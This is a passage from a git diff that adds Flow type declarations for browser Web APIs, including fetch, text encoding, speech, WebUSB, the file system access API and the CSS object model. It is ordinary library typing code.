+  | $ArrayBufferView
+  | ReadableStream;
+
+type RequestInfo = Request | URL | string;
+
+type RequestOptions = {
+  body?: ?BodyInit,
+  cache?: CacheType,
+  credentials?: CredentialsType,
+  headers?: HeadersInit,
+  integrity?: string,
+  keepalive?: boolean,
+  method?: string,
+  mode?: ModeType,
+  redirect?: RedirectType,
+  referrer?: string,
+  referrerPolicy?: ReferrerPolicyType,
+  signal?: ?AbortSignal,
+  window?: any,
+  ...
+};
+
+type ResponseOptions = {
+  status?: number,
+  statusText?: string,
+  headers?: HeadersInit,
+  ...
+};
+
+declare class Response {
+  constructor(input?: ?BodyInit, init?: ResponseOptions): void;
+  clone(): Response;
+  static error(): Response;
+  static redirect(url: string, status?: number): Response;
+
+  redirected: boolean;
+  type: ResponseType;
+  url: string;
+  ok: boolean;
+  status: number;
+  statusText: string;
+  headers: Headers;
+  trailer: Promise<Headers>;
+
+  // Body methods and attributes
+  bodyUsed: boolean;
+  body: ?ReadableStream;
+
+  arrayBuffer(): Promise<ArrayBuffer>;
+  blob(): Promise<Blob>;
+  formData(): Promise<FormData>;
+  json(): Promise<any>;
+  text(): Promise<string>;
+}
+
+declare class Request {
+  constructor(input: RequestInfo, init?: RequestOptions): void;
+  clone(): Request;
+
+  url: string;
+
+  cache: CacheType;
+  credentials: CredentialsType;
+  headers: Headers;
+  integrity: string;
+  method: string;
+  mode: ModeType;
+  redirect: RedirectType;
+  referrer: string;
+  referrerPolicy: ReferrerPolicyType;
+  +signal: AbortSignal;
+
+  // Body methods and attributes
+  bodyUsed: boolean;
+
+  arrayBuffer(): Promise<ArrayBuffer>;
+  blob(): Promise<Blob>;
+  formData(): Promise<FormData>;
+  json(): Promise<any>;
+  text(): Promise<string>;
+}
+
+declare function fetch(
+  input: RequestInfo,
+  init?: RequestOptions
+): Promise<Response>;
+
+type TextEncoder$availableEncodings =
+  | 'utf-8'
+  | 'utf8'
+  | 'unicode-1-1-utf-8'
+  | 'utf-16be'
+  | 'utf-16'
+  | 'utf-16le';
+
+declare class TextEncoder {
+  constructor(encoding?: TextEncoder$availableEncodings): void;
+  encode(buffer: string, options?: {stream: boolean, ...}): Uint8Array;
+  encoding: TextEncoder$availableEncodings;
+}
+
+type TextDecoder$availableEncodings =
+  | '866'
+  | 'ansi_x3.4-1968'
+  | 'arabic'
+  | 'ascii'
+  | 'asmo-708'
+  | 'big5-hkscs'
+  | 'big5'
+  | 'chinese'
+  | 'cn-big5'
+  | 'cp1250'
+  | 'cp1251'
+  | 'cp1252'
+  | 'cp1253'
+  | 'cp1254'
+  | 'cp1255'
+  | 'cp1256'
+  | 'cp1257'
+  | 'cp1258'
+  | 'cp819'
+  | 'cp866'
+  | 'csbig5'
+  | 'cseuckr'
+  | 'cseucpkdfmtjapanese'
+  | 'csgb2312'
+  | 'csibm866'
+  | 'csiso2022jp'
+  | 'csiso2022kr'
+  | 'csiso58gb231280'
+  | 'csiso88596e'
+  | 'csiso88596i'
+  | 'csiso88598e'
+  | 'csiso88598i'
+  | 'csisolatin1'
+  | 'csisolatin2'
+  | 'csisolatin3'
+  | 'csisolatin4'
+  | 'csisolatin5'
+  | 'csisolatin6'
+  | 'csisolatin9'
+  | 'csisolatinarabic'
+  | 'csisolatincyrillic'
+  | 'csisolatingreek'
+  | 'csisolatinhebrew'
+  | 'cskoi8r'
+  | 'csksc56011987'
+  | 'csmacintosh'
+  | 'csshiftjis'
+  | 'cyrillic'
+  | 'dos-874'
+  | 'ecma-114'
+  | 'ecma-118'
+  | 'elot_928'
+  | 'euc-jp'
+  | 'euc-kr'
+  | 'gb_2312-80'
+  | 'gb_2312'
+  | 'gb18030'
+  | 'gb2312'
+  | 'gbk'
+  | 'greek'
+  | 'greek8'
+  | 'hebrew'
+  | 'hz-gb-2312'
+  | 'ibm819'
+  | 'ibm866'
+  | 'iso_8859-1:1987'
+  | 'iso_8859-1'
+  | 'iso_8859-2:1987'
+  | 'iso_8859-2'
+  | 'iso_8859-3:1988'
+  | 'iso_8859-3'
+  | 'iso_8859-4:1988'
+  | 'iso_8859-4'
+  | 'iso_8859-5:1988'
+  | 'iso_8859-5'
+  | 'iso_8859-6:1987'
+  | 'iso_8859-6'
+  | 'iso_8859-7:1987'
+  | 'iso_8859-7'
+  | 'iso_8859-8:1988'
+  | 'iso_8859-8'
+  | 'iso_8859-9:1989'
+  | 'iso_8859-9'
+  | 'iso-2022-cn-ext'
+  | 'iso-2022-cn'
+  | 'iso-2022-jp'
+  | 'iso-2022-kr'
+  | 'iso-8859-1'
+  | 'iso-8859-10'
+  | 'iso-8859-11'
+  | 'iso-8859-13'
+  | 'iso-8859-14'
+  | 'iso-8859-15'
+  | 'iso-8859-16'
+  | 'iso-8859-2'
+  | 'iso-8859-3'
+  | 'iso-8859-4'
+  | 'iso-8859-5'
+  | 'iso-8859-6-e'
+  | 'iso-8859-6-i'
+  | 'iso-8859-6'
+  | 'iso-8859-7'
+  | 'iso-8859-8-e'
+  | 'iso-8859-8-i'
+  | 'iso-8859-8'
+  | 'iso-8859-9'
+  | 'iso-ir-100'
+  | 'iso-ir-101'
+  | 'iso-ir-109'
+  | 'iso-ir-110'
+  | 'iso-ir-126'
+  | 'iso-ir-127'
+  | 'iso-ir-138'
+  | 'iso-ir-144'
+  | 'iso-ir-148'
+  | 'iso-ir-149'
+  | 'iso-ir-157'
+  | 'iso-ir-58'
+  | 'iso8859-1'
+  | 'iso8859-10'
+  | 'iso8859-11'
+  | 'iso8859-13'
+  | 'iso8859-14'
+  | 'iso8859-15'
+  | 'iso8859-2'
+  | 'iso8859-3'
+  | 'iso8859-4'
+  | 'iso8859-6'
+  | 'iso8859-7'
+  | 'iso8859-8'
+  | 'iso8859-9'
+  | 'iso88591'
+  | 'iso885910'
+  | 'iso885911'
+  | 'iso885913'
+  | 'iso885914'
+  | 'iso885915'
+  | 'iso88592'
+  | 'iso88593'
+  | 'iso88594'
+  | 'iso88595'
+  | 'iso88596'
+  | 'iso88597'
+  | 'iso88598'
+  | 'iso88599'
+  | 'koi'
+  | 'koi8_r'
+  | 'koi8-r'
+  | 'koi8-u'
+  | 'koi8'
+  | 'korean'
+  | 'ks_c_5601-1987'
+  | 'ks_c_5601-1989'
+  | 'ksc_5601'
+  | 'ksc5601'
+  | 'l1'
+  | 'l2'
+  | 'l3'
+  | 'l4'
+  | 'l5'
+  | 'l6'
+  | 'l9'
+  | 'latin1'
+  | 'latin2'
+  | 'latin3'
+  | 'latin4'
+  | 'latin5'
+  | 'latin6'
+  | 'latin9'
+  | 'logical'
+  | 'mac'
+  | 'macintosh'
+  | 'ms_kanji'
+  | 'shift_jis'
+  | 'shift-jis'
+  | 'sjis'
+  | 'sun_eu_greek'
+  | 'tis-620'
+  | 'unicode-1-1-utf-8'
+  | 'us-ascii'
+  | 'utf-16'
+  | 'utf-16be'
+  | 'utf-16le'
+  | 'utf-8'
+  | 'utf8'
+  | 'visual'
+  | 'windows-1250'
+  | 'windows-1251'
+  | 'windows-1252'
+  | 'windows-1253'
+  | 'windows-1254'
+  | 'windows-1255'
+  | 'windows-1256'
+  | 'windows-1257'
+  | 'windows-1258'
+  | 'windows-31j'
+  | 'windows-874'
+  | 'windows-949'
+  | 'x-cp1250'
+  | 'x-cp1251'
+  | 'x-cp1252'
+  | 'x-cp1253'
+  | 'x-cp1254'
+  | 'x-cp1255'
+  | 'x-cp1256'
+  | 'x-cp1257'
+  | 'x-cp1258'
+  | 'x-euc-jp'
+  | 'x-gbk'
+  | 'x-mac-cyrillic'
+  | 'x-mac-roman'
+  | 'x-mac-ukrainian'
+  | 'x-sjis'
+  | 'x-user-defined'
+  | 'x-x-big5';
+
+declare class TextDecoder {
+  constructor(
+    encoding?: TextDecoder$availableEncodings,
+    options?: {fatal: boolean, ...}
+  ): void;
+  encoding: TextDecoder$availableEncodings;
+  fatal: boolean;
+  ignoreBOM: boolean;
+  decode(
+    buffer?: ArrayBuffer | $ArrayBufferView,
+    options?: {stream: boolean, ...}
+  ): string;
+}
+
+declare class TextDecoderStream {
+  constructor(
+    encoding?: TextDecoder$availableEncodings,
+    options?: {fatal?: boolean, ignoreBOM?: boolean, ...}
+  ): void;
+  encoding: TextDecoder$availableEncodings;
+  fatal: boolean;
+  ignoreBOM: boolean;
+  readable: ReadableStream;
+  writable: WritableStream;
+}
+
+declare class MessagePort extends EventTarget {
+  postMessage(message: any, transfer?: Iterable<any>): void;
+  start(): void;
+  close(): void;
+
+  onmessage: null | ((ev: MessageEvent<>) => mixed);
+  onmessageerror: null | ((ev: MessageEvent<>) => mixed);
+}
+
+declare class MessageChannel {
+  port1: MessagePort;
+  port2: MessagePort;
+}
+
+declare class VRDisplay extends EventTarget {
+  capabilities: VRDisplayCapabilities;
+  depthFar: number;
+  depthNear: number;
+  displayId: number;
+  displayName: string;
+  isPresenting: boolean;
+  stageParameters: null | VRStageParameters;
+
+  cancelAnimationFrame(number): void;
+  exitPresent(): Promise<void>;
+  getEyeParameters(VREye): VREyeParameters;
+  getFrameData(VRFrameData): boolean;
+  getLayers(): VRLayerInit[];
+  requestAnimationFrame(cb: (number) => mixed): number;
+  requestPresent(VRLayerInit[]): Promise<void>;
+  submitFrame(): void;
+}
+
+type VRSource = HTMLCanvasElement;
+
+type VRLayerInit = {
+  leftBounds?: number[],
+  rightBounds?: number[],
+  source?: null | VRSource,
+  ...
+};
+
+type VRDisplayCapabilities = {
+  canPresent: boolean,
+  hasExternalDisplay: boolean,
+  hasPosition: boolean,
+  maxLayers: number,
+  ...
+};
+
+type VREye = 'left' | 'right';
+
+type VRPose = {
+  angularAcceleration?: Float32Array,
+  angularVelocity?: Float32Array,
+  linearAcceleration?: Float32Array,
+  linearVelocity?: Float32Array,
+  orientation?: Float32Array,
+  position?: Float32Array,
+  ...
+};
+
+declare class VRFrameData {
+  leftProjectionMatrix: Float32Array;
+  leftViewMatrix: Float32Array;
+  pose: VRPose;
+  rightProjectionMatrix: Float32Array;
+  rightViewMatrix: Float32Array;
+  timestamp: number;
+}
+
+type VREyeParameters = {
+  offset: Float32Array,
+  renderWidth: number,
+  renderHeight: number,
+  ...
+};
+
+type VRStageParameters = {
+  sittingToStandingTransform: Float32Array,
+  sizeX: number,
+  sizeZ: number,
+  ...
+};
+
+type VRDisplayEventReason =
+  | 'mounted'
+  | 'navigation'
+  | 'requested'
+  | 'unmounted';
+
+type VRDisplayEventInit = {
+  display: VRDisplay,
+  reason: VRDisplayEventReason,
+  ...
+};
+
+declare class VRDisplayEvent extends Event {
+  constructor(type: string, eventInitDict: VRDisplayEventInit): void;
+  display: VRDisplay;
+  reason?: VRDisplayEventReason;
+}
+
+declare class MediaQueryListEvent {
+  matches: boolean;
+  media: string;
+}
+
+declare type MediaQueryListListener = (MediaQueryListEvent) => void;
+
+declare class MediaQueryList extends EventTarget {
+  matches: boolean;
+  media: string;
+  addListener: MediaQueryListListener => void;
+  removeListener: MediaQueryListListener => void;
+  onchange: MediaQueryListListener;
+}
+
+declare var matchMedia: string => MediaQueryList;
+
+// https://w3c.github.io/webappsec-credential-management/#idl-index
+declare type CredMgmtCredentialRequestOptions = {
+  mediation?: 'silent' | 'optional' | 'required',
+  signal?: AbortSignal,
+  ...
+};
+
+declare type CredMgmtCredentialCreationOptions = {signal: AbortSignal, ...};
+
+declare interface CredMgmtCredential {
+  id: string;
+  type: string;
+}
+
+declare interface CredMgmtPasswordCredential extends CredMgmtCredential {
+  password: string;
+}
+
+declare interface CredMgmtCredentialsContainer {
+  get(option?: CredMgmtCredentialRequestOptions): Promise<?CredMgmtCredential>;
+  store(credential: CredMgmtCredential): Promise<CredMgmtCredential>;
+  create(
+    creationOption?: CredMgmtCredentialCreationOptions
+  ): Promise<?CredMgmtCredential>;
+  preventSilentAccess(): Promise<void>;
+}
+
+type SpeechSynthesisErrorCode =
+  | 'canceled'
+  | 'interrupted'
+  | 'audio-busy'
+  | 'audio-hardware'
+  | 'network'
+  | 'synthesis-unavailable'
+  | 'synthesis-failed'
+  | 'language-unavailable'
+  | 'voice-unavailable'
+  | 'text-too-long'
+  | 'invalid-argument'
+  | 'not-allowed';
+
+declare class SpeechSynthesis extends EventTarget {
+  +pending: boolean;
+  +speaking: boolean;
+  +paused: boolean;
+
+  onvoiceschanged: ?(ev: Event) => mixed;
+
+  speak(utterance: SpeechSynthesisUtterance): void;
+  cancel(): void;
+  pause(): void;
+  resume(): void;
+  getVoices(): Array<SpeechSynthesisVoice>;
+}
+
+declare var speechSynthesis: SpeechSynthesis;
+
+declare class SpeechSynthesisUtterance extends EventTarget {
+  constructor(text?: string): void;
+
+  text: string;
+  lang: string;
+  voice: SpeechSynthesisVoice | null;
+  volume: number;
+  rate: number;
+  pitch: number;
+
+  onstart: ?(ev: SpeechSynthesisEvent) => mixed;
+  onend: ?(ev: SpeechSynthesisEvent) => mixed;
+  onerror: ?(ev: SpeechSynthesisErrorEvent) => mixed;
+  onpause: ?(ev: SpeechSynthesisEvent) => mixed;
+  onresume: ?(ev: SpeechSynthesisEvent) => mixed;
+  onmark: ?(ev: SpeechSynthesisEvent) => mixed;
+  onboundary: ?(ev: SpeechSynthesisEvent) => mixed;
+}
+
+type SpeechSynthesisEvent$Init = Event$Init & {
+  utterance: SpeechSynthesisUtterance,
+  charIndex?: number,
+  charLength?: number,
+  elapsedTime?: number,
+  name?: string,
+  ...
+};
+
+declare class SpeechSynthesisEvent extends Event {
+  constructor(type: string, eventInitDict?: SpeechSynthesisEvent$Init): void;
+
+  +utterance: SpeechSynthesisUtterance;
+  charIndex: number;
+  charLength: number;
+  elapsedTime: number;
+  name: string;
+}
+
+type SpeechSynthesisErrorEvent$Init = SpeechSynthesisEvent$Init & {
+  error: SpeechSynthesisErrorCode,
+  ...
+};
+
+declare class SpeechSynthesisErrorEvent extends SpeechSynthesisEvent {
+  constructor(
+    type: string,
+    eventInitDict?: SpeechSynthesisErrorEvent$Init
+  ): void;
+  +error: SpeechSynthesisErrorCode;
+}
+
+declare class SpeechSynthesisVoice {
+  +voiceURI: string;
+  +name: string;
+  +lang: string;
+  +localService: boolean;
+  +default: boolean;
+}
+
+type SpeechRecognitionErrorCode =
+  | 'no-speech'
+  | 'aborted'
+  | 'audio-capture'
+  | 'not-allowed'
+  | 'service-not-allowed'
+  | 'bad-grammar'
+  | 'language-not-supported';
+
+declare class SpeechGrammar {
+  constructor(): void;
+
+  src: string;
+  weight?: number;
+}
+
+declare class SpeechGrammarList {
+  +length: number;
+
+  item(index: number): SpeechGrammar;
+  addFromURI(src: string, weight?: number): void;
+  addFromString(string: string, weight?: number): void;
+}
+
+declare class SpeechRecognitionAlternative {
+  +transcript: string;
+  +confidence: number;
+}
+
+declare class SpeechRecognitionResult {
+  +isFinal: boolean;
+  +length: number;
+
+  item(index: number): SpeechRecognitionAlternative;
+}
+
+declare class SpeechRecognitionResultList {
+  +length: number;
+
+  item(index: number): SpeechRecognitionResult;
+}
+
+type SpeechRecognitionEvent$Init = Event$Init & {
+  emma: any,
+  interpretation: any,
+  resultIndex: number,
+  results: SpeechRecognitionResultList,
+  ...
+};
+
+declare class SpeechRecognitionEvent extends Event {
+  constructor(type: string, eventInitDict?: SpeechRecognitionEvent$Init): void;
+
+  +emma: any;
+  +interpretation: any;
+  +resultIndex: number;
+  +results: SpeechRecognitionResultList;
+}
+
+type SpeechRecognitionErrorEvent$Init = SpeechRecognitionEvent$Init & {
+  error: SpeechRecognitionErrorCode,
+  ...
+};
+
+declare class SpeechRecognitionErrorEvent extends SpeechRecognitionEvent {
+  constructor(
+    type: string,
+    eventInitDict?: SpeechRecognitionErrorEvent$Init
+  ): void;
+  +error: SpeechRecognitionErrorCode;
+  +message: string;
+}
+
+declare class SpeechRecognition extends EventTarget {
+  constructor(): void;
+
+  +grammars: SpeechGrammar[];
+  +lang: string;
+  +continuous: boolean;
+  +interimResults: boolean;
+  +maxAlternatives: number;
+  +serviceURI: string;
+
+  onaudiostart: ?(ev: Event) => mixed;
+  onaudioend: ?(ev: Event) => mixed;
+  onend: ?(ev: Event) => mixed;
+  onerror: ?(ev: Event) => mixed;
+  onnomatch: ?(ev: Event) => mixed;
+  onsoundstart: ?(ev: Event) => mixed;
+  onsoundend: ?(ev: Event) => mixed;
+  onspeechstart: ?(ev: Event) => mixed;
+  onspeechend: ?(ev: Event) => mixed;
+  onstart: ?(ev: Event) => mixed;
+
+  abort(): void;
+  start(): void;
+  stop(): void;
+}
+
+/* Trusted Types
+ * https://w3c.github.io/trusted-types/dist/spec/#trusted-types
+ */
+declare class TrustedHTML {
+  toString(): string;
+  toJSON(): string;
+}
+
+declare class TrustedScript {
+  toString(): string;
+  toJSON(): string;
+}
+
+declare class TrustedScriptURL {
+  toString(): string;
+  toJSON(): string;
+}
+
+declare class TrustedTypePolicy {
+  +name: string;
+  createHTML(input: string, ...args: Array<mixed>): TrustedHTML;
+  createScript(input: string, ...args: Array<mixed>): TrustedScript;
+  createScriptURL(input: string, ...args: Array<mixed>): TrustedScriptURL;
+}
+
+declare type TrustedTypePolicyOptions = {|
+  createHTML?: (string, ...args: Array<mixed>) => string,
+  createScript?: (string, ...args: Array<mixed>) => string,
+  createScriptURL?: (string, ...args: Array<mixed>) => string,
+|};
+
+// window.trustedTypes?: TrustedTypePolicyFactory
+declare class TrustedTypePolicyFactory {
+  +emptyHTML: TrustedHTML;
+  +emptyScript: TrustedScript;
+  +defaultPolicy: ?TrustedTypePolicy;
+  +isHTML: (value: mixed) => value is TrustedHTML;
+  +isScript: (value: mixed) => value is TrustedScript;
+  +isScriptURL: (value: mixed) => value is TrustedScriptURL;
+  createPolicy(
+    policyName: string,
+    policyOptions?: TrustedTypePolicyOptions
+  ): TrustedTypePolicy;
+  getAttributeType(
+    tagName: string,
+    attribute?: string,
+    elementNS?: string,
+    attrNS?: string
+  ): null | string;
+  getPropertyType(
+    tagName: string,
+    property: string,
+    elementNS?: string
+  ): null | string;
+}
+
+// https://wicg.github.io/webusb/
+// https://developer.mozilla.org/en-US/docs/Web/API/USBDevice
+declare class USBDevice {
+  configuration: USBConfiguration;
+  configurations: Array<USBConfiguration>;
+  deviceClass: number;
+  deviceProtocol: number;
+  deviceSubclass: number;
+  deviceVersionMajor: number;
+  deviceVersionMinor: number;
+  deviceVersionSubminor: number;
+  manufacturerName: ?string;
+  opened: boolean;
+  productId: number;
+  productName: ?string;
+  serialNumber: ?string;
+  usbVersionMajor: number;
+  usbVersionMinor: number;
+  usbVersionSubminor: number;
+  vendorId: number;
+  claimInterface(interfaceNumber: number): Promise<void>;
+  clearHalt(direction: 'in' | 'out', endpointNumber: number): Promise<void>;
+  close(): Promise<void>;
+  controlTransferIn(
+    setup: SetUpOptions,
+    length: number
+  ): Promise<USBInTransferResult>;
+  controlTransferOut(
+    setup: SetUpOptions,
+    data: ArrayBuffer
+  ): Promise<USBOutTransferResult>;
+  forget(): Promise<void>;
+  isochronousTransferIn(
+    endpointNumber: number,
+    packetLengths: Array<number>
+  ): Promise<USBIsochronousInTransferResult>;
+  isochronousTransferOut(
+    endpointNumber: number,
+    data: ArrayBuffer,
+    packetLengths: Array<number>
+  ): Promise<USBIsochronousOutTransferResult>;
+  open(): Promise<void>;
+  releaseInterface(interfaceNumber: number): Promise<void>;
+  reset(): Promise<void>;
+  selectAlternateInterface(
+    interfaceNumber: number,
+    alternateSetting: number
+  ): Promise<void>;
+  selectConfiguration(configurationValue: number): Promise<void>;
+  transferIn(
+    endpointNumber: number,
+    length: number
+  ): Promise<USBInTransferResult>;
+  transferOut(
+    endpointNumber: number,
+    data: ArrayBuffer
+  ): Promise<USBOutTransferResult>;
+}
+
+declare class USB extends EventTarget {
+  getDevices(): Promise<Array<USBDevice>>;
+  requestDevice(options: USBDeviceRequestOptions): Promise<USBDevice>;
+}
+
+declare type USBDeviceFilter = {|
+  vendorId?: number,
+  productId?: number,
+  classCode?: number,
+  subclassCode?: number,
+  protocolCode?: number,
+  serialNumber?: string,
+|};
+
+declare type USBDeviceRequestOptions = {|
+  filters: Array<USBDeviceFilter>,
+  exclusionFilters?: Array<USBDeviceFilter>,
+|};
+
+declare class USBConfiguration {
+  constructor(): void;
+  configurationName: ?string;
+  configurationValue: number;
+  interfaces: $ReadOnlyArray<USBInterface>;
+}
+
+declare class USBInterface {
+  constructor(): void;
+  interfaceNumber: number;
+  alternate: USBAlternateInterface;
+  alternates: Array<USBAlternateInterface>;
+  claimed: boolean;
+}
+
+declare class USBAlternateInterface {
+  constructor(): void;
+  alternateSetting: number;
+  interfaceClass: number;
+  interfaceSubclass: number;
+  interfaceProtocol: number;
+  interfaceName: ?string;
+  endpoints: Array<USBEndpoint>;
+}
+
+declare class USBEndpoint {
+  constructor(): void;
+  endpointNumber: number;
+  direction: 'in' | 'out';
+  type: 'bulk' | 'interrupt' | 'isochronous';
+  packetSize: number;
+}
+
+declare class USBOutTransferResult {
+  constructor(): void;
+  bytesWritten: number;
+  status: 'ok' | 'stall';
+}
+
+declare class USBInTransferResult {
+  constructor(): void;
+  data: DataView;
+  status: 'ok' | 'stall' | 'babble';
+}
+
+declare class USBIsochronousInTransferResult {
+  constructor(): void;
+  data: DataView;
+  packets: Array<USBIsochronousInTransferPacket>;
+}
+
+declare class USBIsochronousInTransferPacket {
+  constructor(): void;
+  data: DataView;
+  status: 'ok' | 'stall' | 'babble';
+}
+
+declare class USBIsochronousOutTransferResult {
+  constructor(): void;
+  packets: Array<USBIsochronousOutTransferPacket>;
+}
+
+declare class USBIsochronousOutTransferPacket {
+  constructor(): void;
+  bytesWritten: number;
+  status: 'ok' | 'stall';
+}
+
+type SetUpOptions = {
+  requestType: string,
+  recipient: string,
+  request: number,
+  value: number,
+  index: number,
+  ...
+};
+
+declare type FileSystemHandleKind = 'file' | 'directory';
+
+// https://wicg.github.io/file-system-access/#api-filesystemhandle
+declare class FileSystemHandle {
+  +kind: FileSystemHandleKind;
+  +name: string;
+
+  isSameEntry: (other: FileSystemHandle) => Promise<boolean>;
+  queryPermission?: (
+    descriptor: FileSystemHandlePermissionDescriptor
+  ) => Promise<PermissionStatus>;
+  requestPermission?: (
+    descriptor: FileSystemHandlePermissionDescriptor
+  ) => Promise<PermissionStatus>;
+}
+
+// https://fs.spec.whatwg.org/#api-filesystemfilehandle
+declare class FileSystemFileHandle extends FileSystemHandle {
+  +kind: 'file';
+
+  constructor(name: string): void;
+
+  getFile(): Promise<File>;
+  createSyncAccessHandle(): Promise<FileSystemSyncAccessHandle>;
+  createWritable(options?: {|
+    keepExistingData?: boolean,
+  |}): Promise<FileSystemWritableFileStream>;
+}
+
+// https://fs.spec.whatwg.org/#api-filesystemdirectoryhandle
+declare class FileSystemDirectoryHandle extends FileSystemHandle {
+  +kind: 'directory';
+
+  constructor(name: string): void;
+
+  getDirectoryHandle(
+    name: string,
+    options?: {|create?: boolean|}
+  ): Promise<FileSystemDirectoryHandle>;
+  getFileHandle(
+    name: string,
+    options?: {|create?: boolean|}
+  ): Promise<FileSystemFileHandle>;
+  removeEntry(name: string, options?: {|recursive?: boolean|}): Promise<void>;
+  resolve(possibleDescendant: FileSystemHandle): Promise<Array<string> | null>;
+
+  // Async iterator functions
+  @@asyncIterator(): AsyncIterator<[string, FileSystemHandle]>;
+  entries(): AsyncIterator<[string, FileSystemHandle]>;
+  keys(): AsyncIterator<string>;
+  values(): AsyncIterator<FileSystemHandle>;
+}
+
+// https://fs.spec.whatwg.org/#api-filesystemsyncaccesshandle
+declare class FileSystemSyncAccessHandle {
+  close(): void;
+  flush(): void;
+  getSize(): number;
+  read(buffer: ArrayBuffer, options?: {|at: number|}): number;
+  truncate(newSize: number): void;
+  write(buffer: ArrayBuffer, options?: {|at: number|}): number;
+}
+
+// https://streams.spec.whatwg.org/#default-writer-class
+declare class WritableStreamDefaultWriter {
+  +closed: Promise<void>;
+  +desiredSize: number;
+  +ready: Promise<void>;
+
+  constructor(): void;
+
+  abort(reason?: string): Promise<void>;
+  close(): Promise<void>;
+  releaseLock(): void;
+  write(chunk: any): Promise<void>;
+}
+
+// https://streams.spec.whatwg.org/#ws-class
+declare class WriteableStream {
+  +locked: boolean;
+
+  constructor(): void;
+
+  abort(reason: string): Promise<string>;
+  close(): Promise<void>;
+  getWriter(): WritableStreamDefaultWriter;
+}
+
+// https://fs.spec.whatwg.org/#dictdef-writeparams
+declare type FileSystemWriteableFileStreamDataTypes =
+  | ArrayBuffer
+  | $TypedArray
+  | DataView
+  | Blob
+  | string;
+
+// https://fs.spec.whatwg.org/#dictdef-writeparams
+declare type FileSystemWriteableFileStreamData =
+  | FileSystemWriteableFileStreamDataTypes
+  | {|
+      type: 'write',
+      position?: number,
+      data: FileSystemWriteableFileStreamDataTypes,
+    |}
+  | {|
+      type: 'seek',
+      position: number,
+      data: FileSystemWriteableFileStreamDataTypes,
+    |}
+  | {|
+      type: 'size',
+      size: number,
+    |};
+
+// https://fs.spec.whatwg.org/#api-filesystemwritablefilestream
+declare class FileSystemWritableFileStream extends WriteableStream {
+  write(data: FileSystemWriteableFileStreamData): Promise<void>;
+  truncate(size: number): Promise<void>;
+  seek(position: number): Promise<void>;
+}
diff --git a/flow-typed/environments/cssom.js b/flow-typed/environments/cssom.js
new file mode 100644
index 000000000000..c70a31cb70fe
--- /dev/null
+++ b/flow-typed/environments/cssom.js
@@ -0,0 +1,414 @@
+// flow-typed signature: ad7b684aa8897ecb82bcc3e009b9fc30
+// flow-typed version: 3e51657e95/cssom/flow_>=v0.261.x
+
+declare class StyleSheet {
+  disabled: boolean;
+  +href: string;
+  +media: MediaList;
+  +ownerNode: Node;
+  +parentStyleSheet: ?StyleSheet;
+  +title: string;
+  +type: string;
+}
+
+declare class StyleSheetList {
+  @@iterator(): Iterator<StyleSheet>;
+  length: number;
+  [index: number]: StyleSheet;
+}
+
+declare class MediaList {
+  @@iterator(): Iterator<string>;
+  mediaText: string;
+  length: number;
+  item(index: number): ?string;
+  deleteMedium(oldMedium: string): void;
+  appendMedium(newMedium: string): void;
+  [index: number]: string;
+}
+
+declare class CSSStyleSheet extends StyleSheet {
+  +cssRules: CSSRuleList;
+  +ownerRule: ?CSSRule;
+  deleteRule(index: number): void;
+  insertRule(rule: string, index: number): number;
+  replace(text: string): Promise<CSSStyleSheet>;
+  replaceSync(text: string): void;
+}
+
+declare class CSSGroupingRule extends CSSRule {
+  +cssRules: CSSRuleList;
+  deleteRule(index: number): void;
+  insertRule(rule: string, index: number): number;
+}
+
+declare class CSSConditionRule extends CSSGroupingRule {
+  conditionText: string;
+}
+
+declare class CSSMediaRule extends CSSConditionRule {
+  +media: MediaList;
+}
+
+declare class CSSStyleRule extends CSSRule {
+  selectorText: string;
+  +style: CSSStyleDeclaration;
+}
+
+declare class CSSSupportsRule extends CSSConditionRule {}
+
+declare class CSSRule {
+  cssText: string;
+  +parentRule: ?CSSRule;
+  +parentStyleSheet: ?CSSStyleSheet;
+  +type: number;
+  static STYLE_RULE: number;
+  static MEDIA_RULE: number;
+  static FONT_FACE_RULE: number;
+  static PAGE_RULE: number;
+  static IMPORT_RULE: number;
+  static CHARSET_RULE: number;
+  static UNKNOWN_RULE: number;
+  static KEYFRAMES_RULE: number;
+  static KEYFRAME_RULE: number;
+  static NAMESPACE_RULE: number;
+  static COUNTER_STYLE_RULE: number;
+  static SUPPORTS_RULE: number;
+  static DOCUMENT_RULE: number;
+  static FONT_FEATURE_VALUES_RULE: number;
+  static VIEWPORT_RULE: number;
+  static REGION_STYLE_RULE: number;
+}
+
+declare class CSSKeyframeRule extends CSSRule {
+  keyText: string;
+  +style: CSSStyleDeclaration;
+}
+
+declare class CSSKeyframesRule extends CSSRule {
+  name: string;
+  +cssRules: CSSRuleList;
+  appendRule(rule: string): void;
+  deleteRule(select: string): void;
+  findRule(select: string): CSSKeyframeRule | null;
+}
+
+declare class CSSRuleList {
+  @@iterator(): Iterator<CSSRule>;
+  length: number;
+  item(index: number): ?CSSRule;
+  [index: number]: CSSRule;
+}
+
+declare class CSSStyleDeclaration {
+  @@iterator(): Iterator<string>;
+  /* DOM CSS Properties */
+  alignContent: string;
+  alignItems: string;
+  alignSelf: string;
+  all: string;
+  animation: string;
+  animationDelay: string;
+  animationDirection: string;
+  animationDuration: string;
+  animationFillMode: string;
+  animationIterationCount: string;
+  animationName: string;
+  animationPlayState: string;
+  animationTimingFunction: string;
+  backdropFilter: string;
+  webkitBackdropFilter: string;
+  backfaceVisibility: string;
+  background: string;
+  backgroundAttachment: string;
+  backgroundBlendMode: string;
+  backgroundClip: string;
+  backgroundColor: string;
+  backgroundImage: string;
+  backgroundOrigin: string;
+  backgroundPosition: string;
+  backgroundPositionX: string;
+  backgroundPositionY: string;
+  backgroundRepeat: string;
+  backgroundSize: string;
+  blockSize: string;
+  border: string;
+  borderBlockEnd: string;
+  borderBlockEndColor: string;
+  borderBlockEndStyle: string;
+  borderBlockEndWidth: string;
+  borderBlockStart: string;
+  borderBlockStartColor: string;
+  borderBlockStartStyle: string;
+  borderBlockStartWidth: string;
+  borderBottom: string;
+  borderBottomColor: string;
+  borderBottomLeftRadius: string;
+  borderBottomRightRadius: string;
+  borderBottomStyle: string;
+  borderBottomWidth: string;
+  borderCollapse: string;
+  borderColor: string;
+  borderImage: string;
+  borderImageOutset: string;
+  borderImageRepeat: string;
+  borderImageSlice: string;
+  borderImageSource: string;
+  borderImageWidth: string;
+  borderInlineEnd: string;
+  borderInlineEndColor: string;
+  borderInlineEndStyle: string;
+  borderInlineEndWidth: string;
+  borderInlineStart: string;
+  borderInlineStartColor: string;
+  borderInlineStartStyle: string;
+  borderInlineStartWidth: string;
+  borderLeft: string;
+  borderLeftColor: string;
+  borderLeftStyle: string;
+  borderLeftWidth: string;
+  borderRadius: string;
+  borderRight: string;
+  borderRightColor: string;
